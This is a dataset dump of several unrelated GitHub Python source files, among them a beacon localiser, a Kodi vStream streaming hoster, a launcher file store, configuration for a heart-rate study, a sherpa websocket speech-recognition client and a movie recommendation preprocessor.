accepted.\n \"\"\"\n self.__debug: bool = debug\n self.__fake_beacons: Dict[str, Beacon] = {}\n self.__max_measurements_per_beacon: int = max_measurements_per_beacon\n self.__min_receiver_movement: float = min_receiver_movement\n self.__rng: random.Random = random.Random(12345)\n self.__should_terminate: threading.Event = threading.Event()\n\n # The shared variables, together with their lock.\n self.__beacon_measurements: Dict[str, List[Tuple[np.ndarray, float]]] = defaultdict(list)\n self.__dirty_beacons: Set[str] = set()\n self.__localised_beacons: Dict[str, Beacon] = {}\n self.__lock: threading.Lock = threading.Lock()\n\n # Set up and start the beacon localisation thread.\n self.__localisation_thread: threading.Thread = threading.Thread(target=self.__run_localisation)\n self.__localisation_thread.start()\n\n # PUBLIC STATIC METHODS\n\n @staticmethod\n def try_localise_beacon(beacon_measurements: List[Tuple[np.ndarray, float]], *,\n min_needed: int = 3) -> Optional[np.ndarray]:\n \"\"\"\n Try to localise a beacon based on measurements of the range to it from a number of different positions.\n\n :param beacon_measurements: The beacon measurements, as a list of (receiver position, beacon range) tuples.\n :param min_needed: The minimum number of measurements needed for localisation to be attempted.\n :return: The estimated location of the beacon, if successful, or None otherwise.\n \"\"\"\n # If there are too few measurements for localisation to be attempted, early out.\n if len(beacon_measurements) < min_needed:\n return None\n\n # Try to localise the beacon.\n result: scipy.optimize.optimize.OptimizeResult = scipy.optimize.minimize(\n BeaconLocaliser.__mean_square_error,\n # TODO: Figure out which of these initialisation strategies is better.\n np.zeros(3), # beacon_measurements[0][0],\n args=beacon_measurements,\n method=\"L-BFGS-B\",\n options={\n \"ftol\": 1e-5,\n \"maxiter\": 1e+7\n }\n )\n\n return result.x\n\n # PUBLIC METHODS\n\n def add_beacon_measurements(self, receiver_pos: np.ndarray, beacon_ranges: Dict[str, float]) -> None:\n \"\"\"\n Add to the localiser some measurements of the ranges to different beacons from the specified receiver position.\n\n .. note::\n The idea is that the beacons are transmitters, and that at each time step, the receiver picks up a signal\n from each beacon that can be used to estimate its range. We can thus accumulate multiple measurements for\n each beacon over time, from different receiver positions. In practice, we limit the number of measurements\n that we retain for each beacon to keep the localisation problem we plan to solve tractable (and to avoid\n unbounded memory usage).\n\n :param receiver_pos: The position of the receiver.\n :param beacon_ranges: A dictionary that maps the names of the beacons to their measured ranges (in m).\n \"\"\"\n with self.__lock:\n # For each beacon for which a measured range is available:\n for beacon_name, beacon_range in beacon_ranges.items():\n # If either (i) there are no existing measurements for the beacon, or (ii) the receiver has moved\n # at least a short distance since the most recent measurement for the beacon:\n if len(self.__beacon_measurements[beacon_name]) == 0 or np.linalg.norm(\n receiver_pos - self.__beacon_measurements[beacon_name][-1][0]\n ) > self.__min_receiver_movement:\n # Construct the new measurement.\n beacon_measurement: Tuple[np.ndarray, float] = (receiver_pos, beacon_range)\n\n # If we already have the maximum number of measurements we want to retain for this beacon:\n if len(self.__beacon_measurements[beacon_name]) == self.__max_measurements_per_beacon:\n # Randomly pick an existing measurement to discard.\n idx: int = self.__rng.randrange(0, len(self.__beacon_measurements[beacon_name]) - 1)\n\n # Overwrite the chosen measurement with the most recent measurement.\n self.__beacon_measurements[beacon_name][idx] = self.__beacon_measurements[beacon_name][-1]\n\n # Overwrite the most recent measurement with the new measurement.\n self.__beacon_measurements[beacon_name][-1] = beacon_measurement\n\n # Otherwise, simply add the new measurement to the list.\n else:\n self.__beacon_measurements[beacon_name].append(beacon_measurement)\n\n # Mark the beacon as one for which new measurements have been added since localisation was\n # last run. This will cause localisation to be re-run for the beacon when there's time.\n self.__dirty_beacons.add(beacon_name)\n\n def get_beacon_measurements(self) -> Dict[str, List[Tuple[np.ndarray, float]]]:\n \"\"\"\n Get all of the beacon measurements that are known by the localiser.\n\n .. note::\n We copy the beacon measurements so that callers can use the returned dictionary without having\n to worry about thread safety.\n\n :return: All of the beacon measurements that are known by the localiser.\n \"\"\"\n with self.__lock:\n return copy.deepcopy(self.__beacon_measurements)\n\n def get_beacons(self) -> Dict[str, Beacon]:\n \"\"\"\n Get all of the beacons that are known by the localiser.\n\n .. note::\n We copy the beacons whose positions might subsequently change so that callers can use the returned\n beacons without having to worry about this.\n\n :return: All of the beacons that are known by the localiser.\n \"\"\"\n with self.__lock:\n return {**copy.deepcopy(self.__localised_beacons), **self.get_fake_beacons()}\n\n def get_fake_beacons(self) -> Dict[str, Beacon]:\n \"\"\"\n Get the fake beacons that are known by the localiser.\n\n :return: The fake beacons that are known by the localiser.\n \"\"\"\n return self.__fake_beacons\n\n def set_fake_beacon(self, beacon_name: str, beacon: Optional[Beacon]) -> None:\n \"\"\"\n Set a fake beacon at a particular position in the scene, or clear an existing one.\n\n .. note::\n There can be at most one beacon with any given name, so reusing a name overwrites the existing beacon.\n .. note::\n To clear a beacon, it suffices to call set_fake_beacon(name, None).\n\n :param beacon_name: The name of the beacon.\n :param beacon: Either the beacon (which contains its own position), or None (to clear the beacon with\n the given name).\n \"\"\"\n # Set, overwrite, or clear the fake beacon as requested.\n if beacon is not None:\n self.__fake_beacons[beacon_name] = beacon\n elif beacon_name in self.__fake_beacons:\n del self.__fake_beacons[beacon_name]\n\n with self.__lock:\n # Clear any existing measurements associated with this beacon name.\n if beacon_name in self.__beacon_measurements:\n del self.__beacon_measurements[beacon_name]\n\n # Also clear the associated localised beacon, if it exists.\n if f\"L_{beacon_name}\" in self.__localised_beacons:\n del self.__localised_beacons[f\"L_{beacon_name}\"]\n\n def terminate(self) -> None:\n \"\"\"Tell the localiser to terminate.\"\"\"\n if not self.__should_terminate.is_set():\n self.__should_terminate.set()\n\n # Wait for the localisation thread to terminate.\n self.__localisation_thread.join()\n\n # PRIVATE METHODS\n\n def __run_localisation(self) -> None:\n \"\"\"Run the beacon localisation thread.\"\"\"\n # Until the localiser should terminate:\n while not self.__should_terminate.is_set():\n with self.__lock:\n # Make a copy of the shared variables so that we only need to hold the lock very briefly.\n beacon_measurements: Dict[str, List[Tuple[np.ndarray, float]]] = copy.deepcopy(\n self.__beacon_measurements\n )\n dirty_beacons: Set[str] = self.__dirty_beacons.copy()\n\n # Clear the set of beacons for which localisation needs to be run, as it will be run for them now.\n self.__dirty_beacons.clear()\n\n # For each beacon for which new measurements have been added since the last localisation attempt:\n for beacon_name in dirty_beacons:\n # Get the measurements for the beacon.\n measurements_for_beacon: Optional[List[Tuple[np.ndarray, float]]] = beacon_measurements.get(beacon_name)\n if measurements_for_beacon is None:\n continue\n\n # Try to localise the beacon.\n beacon_pos: Optional[np.ndarray] = BeaconLocaliser.try_localise_beacon(measurements_for_beacon)\n\n # If that succeeded:\n if beacon_pos is not None:\n with self.__lock:\n # Set or overwrite the localised version of the beacon.\n max_range: float = max(measurements_for_beacon, key=operator.itemgetter(1))[1]\n self.__localised_beacons[f\"L_{beacon_name}\"] = Beacon(\n beacon_pos, max_range, Beacon.BT_LOCALISED\n )\n\n # Optionally output some debugging information.\n if self.__debug:\n fake_beacon: Optional[Beacon] = self.__fake_beacons.get(beacon_name)\n gt_beacon_pos: Optional[np.ndarray] = fake_beacon.position if fake_beacon is not None else None\n print(f\"Beacon '{beacon_name}' localised at: {beacon_pos}; ground-truth: {gt_beacon_pos}\")\n\n # Wait momentarily to avoid a spin loop.\n time.sleep(0.01)\n\n # PRIVATE STATIC METHODS\n\n @staticmethod\n def __mean_square_error(beacon_pos: np.ndarray, beacon_measurements: List[Tuple[np.ndarray, float]]) -> float:\n \"\"\"\n Calculate the mean square error (MSE) associated with a set of beacon measurements given an\n estimate of the beacon's position.\n\n :param beacon_pos: The estimate of the beacon's position.\n :param beacon_measurements: The beacon measurements, as a list of (receiver position, beacon range) tuples.\n :return: The calculated mean square error (MSE).\n \"\"\"\n mse: float = 0.0\n\n for receiver_pos, measured_distance in beacon_measurements:\n calculated_distance: float = np.linalg.norm(receiver_pos - beacon_pos)\n mse += math.pow(calculated_distance - measured_distance, 2.0)\n\n return mse / len(beacon_measurements)\n","repo_name":"sgolodetz/smg-rotory","sub_path":"smg/rotory/beacons/beacon_localiser.py","file_name":"beacon_localiser.py","file_ext":"py","file_size_in_byte":12440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32691985149","text":"# -*- coding: utf-8 -*-\n# vStream https://github.com/Kodi-vStream/venom-xbmc-addons\nfrom resources.lib.handler.requestHandler import cRequestHandler\nfrom resources.lib.parser import cParser\nfrom resources.hosters.hoster import iHoster\nfrom resources.lib.comaddon import dialog\n\nUA = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'\n\n\nclass cHoster(iHoster):\n\n def __init__(self):\n iHoster.__init__(self, 'streamax', 'Streamax')\n\n def __getIdFromUrl(self, sUrl):\n sPattern = 'id=([a-zA-Z0-9]+)'\n oParser = cParser()\n aResult = oParser.parse(sUrl, sPattern)\n\n if aResult[0] is True:\n return aResult[1][0]\n return ''\n\n def _getMediaLinkForGuest(self):\n oParser = cParser()\n\n urlId = self.__getIdFromUrl(self._url)\n\n sUrl = 'https://streamax.club/hls/' + urlId + '/' + urlId + '.playlist.m3u8'\n\n url = []\n qua = []\n\n oRequest = cRequestHandler(sUrl)\n oRequest.addHeaderEntry('User-Agent', UA)\n oRequest.addHeaderEntry('Referer', 'https://streamax.club/public/dist/index.html?id=' + urlId)\n sHtmlContent = oRequest.request()\n\n sPattern = 'RESOLUTION=(\\d+x\\d+)(.+?.m3u8)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n if aResult[0] is True:\n for aEntry in aResult[1]:\n url.append('https://streamax.club' + aEntry[1])\n qua.append(aEntry[0])\n\n if url:\n api_call = dialog().VSselectqual(qua, url)\n\n if api_call:\n return True, api_call\n\n return False, False\n","repo_name":"Kodi-vStream/venom-xbmc-addons","sub_path":"plugin.video.vstream/resources/hosters/streamax.py","file_name":"streamax.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","stars":456,"dataset":"github-code","pt":"37"} +{"seq_id":"34804934508","text":"import hashlib\nimport json\nimport os\nimport shutil\nfrom typing import TypedDict\n\nfrom src.const import STORE_PATHS\nfrom src.utils.common import load_or_create_json\n\n\nclass IFile(TypedDict):\n original_name: str\n hash: str\n to: str\n\n\nIFileStoreType = dict[str, IFile]\n\nclass FileStore:\n def __init__(self) -> None:\n self.files: IFileStoreType = load_or_create_json(f'{STORE_PATHS[\"files\"]}/files.json', {}) # type: ignore\n \n async def add_file(self, name: str, path: str, to: str, *, dry_run: bool = False):\n file_hash = hashlib.sha256(open(path, 'rb').read()).hexdigest()\n\n if os.path.exists(f'{STORE_PATHS[\"files\"]}/{file_hash}') or dry_run:\n return file_hash\n self.files[file_hash] = {\n 'original_name': name,\n 'hash': file_hash,\n 'to': to,\n }\n shutil.move(path, f'{STORE_PATHS[\"files\"]}/{name}')\n os.rename(f'{STORE_PATHS[\"files\"]}/{name}', f'{STORE_PATHS[\"files\"]}/{file_hash}')\n await self.save_file()\n return file_hash\n \n async def get_file(self, key: str):\n return self.files[key]\n\n async def delete_file(self, key: str):\n self.files.pop(key)\n os.remove(f'{STORE_PATHS[\"files\"]}/{key}')\n await self.save_file()\n\n async def save_file(self):\n with open(f'{STORE_PATHS[\"files\"]}/files.json', 'w', encoding='utf-8') as f:\n json.dump(self.files, f, ensure_ascii=False, indent=4)\n\nclass ModStore:\n def __init__(self) -> None:\n self.mods: IFileStoreType = load_or_create_json(f'{STORE_PATHS[\"mods\"]}/mods.json', {}) # type: ignore\n self.resources: IFileStoreType = load_or_create_json(f'{STORE_PATHS[\"resources\"]}/resources.json', {}) # type: ignore\n\n async def check_already_exist(self, name: str) -> bool:\n if name in self.mods:\n return True\n else:\n return False\n\n async def get_mod(self, key: str):\n return self.mods[key]\n \n async def get_resource(self, key: str):\n return self.resources[key]\n \n async def delete_mod(self, key: str):\n self.mods.pop(key)\n await self.save_mod()\n os.remove(f'{STORE_PATHS[\"mods\"]}/{key}')\n \n async def delete_resource(self, key: str):\n self.resources.pop(key)\n await self.save_resource()\n os.remove(f'{STORE_PATHS[\"resources\"]}/{key}')\n\n async def check_hash(self, path: str):\n hashlib.sha256()\n\n async def get_original_file_name(self, name: str, version: str):\n return f'{name}-{version}'\n\n async def add(self, name: str, version: str, path: str, to: str):\n original_file_name = await self.get_original_file_name(name, version)\n self.mods[original_file_name] = {\n 'original_name': name,\n 'hash': hashlib.sha256(open(path, 'rb').read()).hexdigest(),\n 'to': to,\n }\n if os.path.exists(f'{STORE_PATHS[\"mods\"]}/{original_file_name}'):\n return original_file_name\n shutil.move(path, f'{STORE_PATHS[\"mods\"]}/{name}')\n os.rename(f'{STORE_PATHS[\"mods\"]}/{name}', f'{STORE_PATHS[\"mods\"]}/{original_file_name}')\n await self.save_mod()\n return original_file_name\n\n async def add_resource(self, name: str, modpack_name: str, modpack_version: str, path: str, to: str):\n file_hash = hashlib.sha256(open(path, 'rb').read()).hexdigest()\n root, ext = os.path.splitext(name)\n\n if os.path.exists(f'{STORE_PATHS[\"resources\"]}/{file_hash}'):\n return file_hash\n self.resources[file_hash] = {\n 'original_name': name,\n 'hash': file_hash,\n 'to': to,\n }\n shutil.move(path, f'{STORE_PATHS[\"resources\"]}/{name}')\n os.rename(f'{STORE_PATHS[\"resources\"]}/{name}', f'{STORE_PATHS[\"resources\"]}/{file_hash}')\n await self.save_resource()\n\n return file_hash\n\n async def save_resource(self):\n with open(f'{STORE_PATHS[\"resources\"]}/resources.json', 'w', encoding='utf-8') as f:\n json.dump(self.resources, f, ensure_ascii=False, indent=4)\n\n async def save_mod(self):\n with open(f'{STORE_PATHS[\"mods\"]}/mods.json', 'w', encoding='utf-8') as f:\n json.dump(self.mods, f, ensure_ascii=False, indent=4)\n","repo_name":"AkariNext/AkariLauncherPacman","sub_path":"src/store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34500165481","text":"import os\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nfrom FileIO import FileIO\n\n\"\"\"\nConfiguration:\nGlobal and configuration parameters defined in this class\n\"\"\"\nclass Configurations:\n # change path here for uncompressed dataset\n def __init__(self, skinGroup='None'):\n # Get participant Ids\n self.setDiskPath(skinGroup)\n self.getParticipantNumbersFromPath()\n # self.getParticipantNumbers(skinGroup) # use this to get pi from list\n\n #Global parameters\n DiskPath = \"\"\n SavePath = \"\"\n UnCompressed_dataPath = \"\"\n # Skin_Group_Types = [\"WhiteSkin_Group\", \"BrownSkin_Group\"]\n current_Skin_Group = \"\"\n\n #Algorithm List\n AlgoList = [\n \"None\",\n \"PCA\",\n \"FastICA\",\n \"PCAICA\",\n \"Jade\",\n \"Spectralembedding\"\n\n ]\n\n #FFT method types\n fftTypeList = [\"M1\",\"M2\",\"M3\"]\n\n filtertypeList = [1,2,3,4]\n\n windowSize = 15#10,4,15,20\n\n #Pre processing techniques\n preprocesses = [1,2,6,7] # 3,4,5--> bad graphs\n\n #Generating result methods (peak identification and frequency value identification) and getting bpm\n resulttypeList = [1,2]\n\n #Smoothen Curve after filtering frequency\n Smoothen = [True,False]\n\n #region of interests, add or reduce here.. (make sure it matches foldername is same as roi region name holding the data)\n roiregions = [\"lips\", \"forehead\", \"leftcheek\", \"rightcheek\", \"cheeksCombined\"]\n\n \"\"\"\n Participants numbers list\n \"\"\"\n ParticipantNumbers = []\n Participantnumbers_SkinGroupTypes = {}\n Skin_Group_Types = ['OtherAsian_OtherSkin_Group', 'SouthAsian_BrownSkin_Group', 'Europe_WhiteSkin_Group']\n\n # heart rate status example resting state and after small workout \"Resting1\",\"Resting2\",\"AfterExcersize\"\n hearratestatus = [\"Resting1\",\"Resting2\",\"AfterExcersize\"]\n\n #Processing Steps\n ProcessingSteps = [ \"PreProcess\", \"Algorithm\", \"FFT\", \"Filter\",\"ComputerHRandSPO\", \"CheckReliability\" ,\"SaveResultstoDisk\"] # SaveResultoDatabase\n\n #Generate HTML Summary\n GenerateSummary = False\n\n #Ignore gray when processing signals (only process r,g,b and ir)\n ignoregray = False\n\n #Generate graphs when processing signals (only process r,g,b and ir)\n GenerateGraphs = False\n\n #StoreValuesinDisk\n DumpToDisk = True\n\n #Run for window or for entire signal\n RunAnalysisForEntireSignalData = False\n\n def setDiskPath(self, current_Skin_Group=\"None\"):\n self.DiskPath = 'E:\\\\ARPOS_Server_Data\\\\Server_Study_Data\\\\' + current_Skin_Group + \"\\\\\"\n self.UnCompressed_dataPath = self.DiskPath + 'SerialisedRawServerData\\\\UnCompressed\\\\'\n\n\n \"\"\"\n GetSavePath:\n Store all the generated graphs and files to this path\n \"\"\"\n def setSavePath(self,participantNumber,position,pathname='ProcessedData'):\n self.setDiskPath(self.Participantnumbers_SkinGroupTypes.get(participantNumber))\n self.SavePath = self.DiskPath + '\\\\' + pathname + '\\\\' + participantNumber + '\\\\' + position + '\\\\'\n #Create save path if it does not exists\n if not os.path.exists(self.SavePath):\n os.makedirs(self.SavePath)\n\n # if(self.GenerateGraphs):\n # graphPath = self.SavePath + \"Graphs\\\\\"\n # if not os.path.exists(graphPath):\n # os.makedirs(graphPath)\n\n \"\"\"\n getLoadPath:\n Get all paths where color, ir, and distance of participants is stored \n Only uncompressed data path,Change path accordingly\n Requires participant number, position (heart rate status), and the region (lips, forehead etc)\n \"\"\"\n def getLoadPath(self,participantNumber,position,region):\n LoadColordataPath = self.DiskPath + 'SerialisedRawServerData\\\\UnCompressed\\\\' + participantNumber + '\\\\' + position + 'Cropped\\\\' + 'Color\\\\' + region + '\\\\' ## Loading path for color data\n LoadIRdataPath = self.DiskPath + 'SerialisedRawServerData\\\\UnCompressed\\\\' + participantNumber + '\\\\' + position + 'Cropped\\\\' + 'IR\\\\' + region + '\\\\' ## Loading path for IR data\n LoadDistancePath = self.DiskPath + 'SerialisedRawServerData\\\\UnCompressed\\\\' + participantNumber + '\\\\' + position + '\\\\ParticipantInformation.txt' ## Loading path for depth and other information\n # ProcessedDataPath = self.SavePath + datatype + '\\\\' ## Loading path for storing processed data\n # # Create save path if it does not exists\n # if not os.path.exists(ProcessedDataPath):\n # os.makedirs(ProcessedDataPath)\n return LoadColordataPath,LoadIRdataPath,LoadDistancePath #,ProcessedDataPath\n\n \"\"\"\n getParticipantNumbers:\n Store all the participant ids to variable [ParticipantNumbers]\n \"\"\"\n def getParticipantNumbers(self,skinGroup):\n #Read participantid file to get list of participants\n ROOT_DIR = os.path.dirname(os.path.abspath(os.curdir)) # This is your Project Root\n AppDataPath=''\n if(ROOT_DIR.__contains__('ARPOSProject')):\n AppDataPath = ROOT_DIR + '\\\\' + 'AppData' + '\\\\'\n else:\n AppDataPath = ROOT_DIR + '\\\\ARPOSProject\\\\' + 'AppData' + '\\\\'\n objFile = FileIO()\n participantIds = objFile.ReaddatafromFile(AppDataPath,'ParticipantIds')\n\n self.ParticipantNumbers = []\n for Line in participantIds:\n Lineid = Line.split(', ')\n if(Lineid[len(Lineid)-1].__contains__('Yes')): #Is participating\n if(Lineid[len(Lineid)-2] != 'UNOCCUPIED'): #Is occupied\n if(skinGroup == 'None'):\n piId = Lineid[1] #participantId\n self.ParticipantNumbers.append(piId)\n self.Participantnumbers_SkinGroupTypes[piId] = Lineid[len(Lineid)-2]\n else:\n if (Lineid[len(Lineid)-2] == skinGroup):\n piId = Lineid[1] # participantId\n self.ParticipantNumbers.append(piId)\n self.Participantnumbers_SkinGroupTypes[piId] = Lineid[len(Lineid) - 2]\n else:\n skip=True\n\n\n def getParticipantNumbersFromPath(self):\n folder = self.UnCompressed_dataPath\n subfolders = [f.path for f in os.scandir(folder) if f.is_dir()]\n\n # for each participant\n for folder in subfolders:\n foldername = str(folder)\n foldernameparams = foldername.split(\"\\\\\")\n ParticipantNumber = foldernameparams[len(foldernameparams) - 1]\n if(not self.ParticipantNumbers.__contains__(ParticipantNumber) ):\n self.ParticipantNumbers.append(ParticipantNumber)\n # self.Participantnumbers_SkinGroupTypes[piId] = Lineid[len(Lineid)-2]\n","repo_name":"PirehP/ARPOSpublic","sub_path":"Configurations.py","file_name":"Configurations.py","file_ext":"py","file_size_in_byte":6739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21021788679","text":"lst=[]\r\nplayer1=int(input(\"Enter the scrore of ist player in 60 balls:\"))\r\nlst.append(player1)\r\nplayer2=int(input(\"Enter the score of 2nd player in 60 balls:\"))\r\nlst.append(player2)\r\nplayer3=int(input(\"Enter the score of 3rd player in 60 balls\"))\r\nlst.append(player3)\r\nfor i in range(0,3):\r\n print(\"strike rate of player:\",i+1,\"=\",(lst[i]*100)/60)\r\nfor i in range(0,3):\r\n print(\"If played 60 ball more player\",i+1,\"will score\",lst[i]*2)\r\nfor i in range(0,3):\r\n print(\"maximum no. of sixes player\",i+1,\"have hit=\",lst[i]//6)\r\n","repo_name":"dheeproject/Tathastu_week_of_code","sub_path":"Day1/program5.py","file_name":"program5.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73950826986","text":"import argparse\nimport asyncio\nimport http\nimport logging\nfrom typing import List\n\nimport torchaudio\nimport websockets\n\n\ndef get_args():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n\n parser.add_argument(\n \"--server-addr\",\n type=str,\n default=\"localhost\",\n help=\"Address of the server\",\n )\n\n parser.add_argument(\n \"--server-port\",\n type=int,\n default=6006,\n help=\"Port of the server\",\n )\n\n parser.add_argument(\n \"sound_files\",\n type=str,\n nargs=\"+\",\n help=\"The input sound file(s) to transcribe. \"\n \"Supported formats are those supported by torchaudio.load(). \"\n \"For example, wav and flac are supported. All models from icefall \"\n \"uses 16 kHz training data. If the input sound file has a sample rate \"\n \"different from 16 kHz, it is resampled to 16 kHz. \"\n \"Only the first channel is used.\",\n )\n\n return parser.parse_args()\n\n\nasync def run(server_addr: str, server_port: int, test_wavs: List[str]):\n async with websockets.connect(\n f\"ws://{server_addr}:{server_port}\"\n ) as websocket: # noqa\n for test_wav in test_wavs:\n logging.info(f\"Sending {test_wav}\")\n wave, sample_rate = torchaudio.load(test_wav)\n\n if sample_rate != 16000:\n wave = torchaudio.functional.resample(\n wave,\n orig_freq=sample_rate,\n new_freq=16000,\n )\n sample_rate = 16000\n\n wave = wave.squeeze(0).contiguous()\n\n # wave is a 1-D float32 tensor normalized to the range [-1, 1]\n # The format of the message sent to the server for each wave is\n #\n # - 4-byte in little endian specifying number of subsequent bytes\n # to send\n # - one or more messages containing the data\n # - The last message is \"Done\"\n\n num_bytes = wave.numel() * wave.element_size()\n await websocket.send((num_bytes).to_bytes(4, \"little\", signed=True))\n\n frame_size = (2 ** 20) // 4 # max payload is 1MB\n sleep_time = 0.25\n start = 0\n while start < wave.numel():\n end = start + frame_size\n\n # reinterpret floats to bytes\n d = wave.numpy().data[start:end].tobytes()\n\n await websocket.send(d)\n await asyncio.sleep(sleep_time) # in seconds\n\n start = end\n\n decoding_results = await websocket.recv()\n if decoding_results == \"\":\n decoding_results = \"\"\n logging.info(f\"{test_wav}\\n{decoding_results}\")\n await websocket.send(\"Done\")\n\n\nasync def main():\n args = get_args()\n assert len(args.sound_files) > 0, \"Empty sound files\"\n\n server_addr = args.server_addr\n server_port = args.server_port\n\n max_retry_count = 5\n count = 0\n while count < max_retry_count:\n count += 1\n try:\n await run(server_addr, server_port, args.sound_files)\n break\n except websockets.exceptions.InvalidStatusCode as e:\n print(e.status_code)\n print(http.client.responses[e.status_code])\n print(e.headers)\n\n if e.status_code != http.HTTPStatus.SERVICE_UNAVAILABLE:\n raise\n await asyncio.sleep(2)\n except: # noqa\n raise\n\n\nif __name__ == \"__main__\":\n formatter = \"%(asctime)s %(levelname)s [%(filename)s:%(lineno)d] %(message)s\" # noqa\n logging.basicConfig(format=formatter, level=logging.INFO)\n asyncio.run(main())\n","repo_name":"k2-fsa/sherpa","sub_path":"sherpa/bin/offline_client.py","file_name":"offline_client.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":332,"dataset":"github-code","pt":"37"} +{"seq_id":"38470142803","text":"from django.http import HttpResponse, Http404\nimport datetime\nfrom django.template.loader import get_template\nfrom django.template import Context\nfrom django.shortcuts import render\nfrom landing.models import *\nfrom home_automation import *\n\ndef landing(request):\n t = get_template('landing/index.html')\n html = t.render()\n\n return HttpResponse(html)\n\n\ndef dashboard(request):\n # used to keep track when buttons are pressed twice.\n # you keep in cruise mode\n \n t = get_template('landing/dashboard.html')\n\n if 'cmd' in request.GET and request.GET['cmd']:\n cmd = request.GET['cmd']\n\n if cmd == 'led':\n blink()\n\n if (cmd == 'up') or (cmd =='down'):\n speed_control(cmd)\n\n if cmd == 'record':\n camera.record()\n\n if cmd == 'stop-record':\n camera.stop()\n\n motor_control(cmd)\n\n return HttpResponse(t.render())\n\n\ndef hours_ahead(request, offset):\n try:\n offset = int(offset)\n except ValueError:\n raise Http404()\n dt = datetime.datetime.now() + datetime.timedelta(hours=offset)\n html = \"In %s hour(s), it will be %s.\" % (offset, dt)\n return HttpResponse(html)\n","repo_name":"nvmanh/plant","sub_path":"landing/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44003873707","text":"# -*- coding: utf-8 -*-\nimport os\nfrom setuptools import setup, find_packages\n\ndef read(*rnames):\n return open(os.path.join(os.path.dirname(__file__), *rnames)).read()\n\nversion = '0.1'\n\nlong_description = (\n read('README.txt')\n )\n\n\nsetup(name='pyhsgw',\n version=version,\n description=\"\",\n long_description=long_description,\n # Get more strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n ],\n keywords='',\n author='Andreas Jung',\n author_email='info@zopyx.com',\n url='http://pypi.python.org/pypi/zopyx.homeserver',\n license='GNU Public License V2 (GPL 2)',\n packages=find_packages(exclude=['ez_setup']),\n include_package_data=True,\n zip_safe=False,\n install_requires=['setuptools',\n 'requests',\n 'plac',\n 'lxml',\n ],\n entry_points=dict(console_scripts=[\n 'hs-find=pyhsgw.hs_find:main',\n 'set-lametric=pyhsgw.set_lametric:main',\n 'hs-set-value-by-addr=pyhsgw.hs_set_value_by_addr:main',\n 'hs-get-value-by-addr=pyhsgw.hs_get_value_by_addr:main',\n ]),\n test_suite = None,\n )\n","repo_name":"okohlbacher/pyHSgw","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"35701016546","text":"import csv\nimport pprint\nfrom collections import defaultdict\n\nwith open('scl-2021-ds/train.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n aliases = {}\n for line_count, row in enumerate(csv_reader):\n if line_count == 0:\n continue\n raw_address = row[1]\n raw_address = raw_address.replace(',', '')\n raw_words = raw_address.split()\n\n actual_address = row[2].replace('/', ' ')\n actual_address = actual_address.replace(',', ' ')\n actual_address = actual_address.split()\n\n for word in actual_address:\n if word not in raw_words:\n for abbrev in raw_words:\n if (abbrev in word) and (abbrev != word) and (len(abbrev) >\n 1):\n if word not in aliases:\n aliases[word] = {}\n if abbrev not in aliases[word]:\n aliases[word][abbrev] = 1\n else:\n aliases[word][abbrev] += 1\n if word in aliases:\n if '_count' not in aliases[word]:\n aliases[word]['_count'] = 1\n else:\n aliases[word]['_count'] += 1\n\npp = pprint.PrettyPrinter(indent=4)\n# pp.pprint(aliases)\n\naliases_list = list(aliases.items())\nprint(aliases_list[:10])\naliases_list.sort(key = lambda tup: tup[1]['_count'], reverse=True)\npp.pprint(aliases_list)\n","repo_name":"ssantichaivekin/shopee-street","sub_path":"word_aliases/word_expand.py","file_name":"word_expand.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42402183056","text":"import pandas as pd\nimport gensim\nfrom gensim import models\nfrom gensim.similarities import MatrixSimilarity\n\ndef break_to_tokens(text):\n result = []\n for token in gensim.utils.simple_preprocess(text):\n if token not in gensim.parsing.preprocessing.STOPWORDS and len(token) > 3:\n result.append(token)\n return result\n\n\nclass Recommendation:\n def __init__(self):\n self.movie_data = \"data/movie_data.csv\"\n self.processed_data = \"data/Content_based_recommendation/processed_data.csv\"\n self.corpus_dictionary = \"data/Content_based_recommendation/content_based_corpus_dictionoary.dict\"\n self.tfidf_model = \"data/Content_based_recommendation/tfidf_model.model\"\n self.matrix_similarity = \"data/Content_based_recommendation/similarity.mm\"\n\n def testingpath(self):\n data=pd.read_csv(self.movie_data)\n print(data.columns)\n return \"done\"\n\n def pre_process_data(self):\n \"\"\"\n Reads movie dataset which is created by Data Generation object. Performs data cleaning and returns a data frame\n :return: dataframe\n \"\"\"\n data = pd.read_csv(self.movie_data)\n data = data[['original_title', 'overview', 'tagline', 'Crew_Cast', 'keywords', 'genres']]\n data = data.fillna(\" \")\n data['description'] = data['overview'] + data['tagline']\n del data['overview']\n del data['tagline']\n data['description'] = data['description'].str.replace(\n r\"(\\.|,|\\?|!|@|#|\\$|%|\\^|&|\\*|\\(|\\)|_|-|\\+|=|;|:|~|`|\\d+|\\[|\\]|{|}|\\xA9|\\\\|\\/)\", \" \")\n data['genres'] = data['genres'].apply(lambda x: x.replace(\"|\", \" \"))\n data['doc'] = data['description'] + data['genres'] + data['keywords'] + data['Crew_Cast']\n data = data.drop(data.columns[[1, 2, 3, 4]], axis=1)\n try:\n data.to_csv(self.processed_data)\n return \"Pre 